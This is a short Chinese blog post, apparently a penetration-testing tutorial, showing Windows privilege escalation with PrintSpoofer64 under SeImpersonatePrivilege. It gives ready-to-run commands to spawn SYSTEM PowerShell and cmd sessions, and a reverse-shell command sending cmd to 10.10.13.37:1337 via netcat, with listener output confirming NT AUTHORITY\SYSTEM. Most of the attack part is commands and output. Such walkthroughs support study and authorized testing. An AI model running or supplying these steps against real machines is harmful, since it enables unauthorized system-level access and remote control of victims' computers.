Printspoofer64提权

使用漏洞(PrintSpoofer)

利用前提:SeImpersonatePrivilege权限开启(enabled)

案例分析

权限分析,我们使用whoami /priv以显示Dave的分配权限。

命令:

whoami /priv

img

一、获取一个powershell的system终端

在上下文中获取交互式PowerShell会话NT AUTHORITY\SYSTEM与PrintSpoofer64.exe,我们将输入powershell.exe作为-c的参数来指定命令web要执行和-i与当前中的进程交互命令提示符 。

命令:

.\PrintSpoofer64.exe -i -c powershell.exe

img

我们成功地使用PrintSpoofer进行了权限提升攻击引导我们进入一个system用户帐户NT AUTHORITY\SYSTEM

二、获取cmd的system终端

PrintSpoofer64.exe -i -c cmd

image-20260506215507030

三、反弹shell

C:\TOOLS>PrintSpoofer64.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

攻击端监听:

C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system
posted @ 2026-06-19 12:54  Doll_Marker  阅读(27)  评论(0)    收藏  举报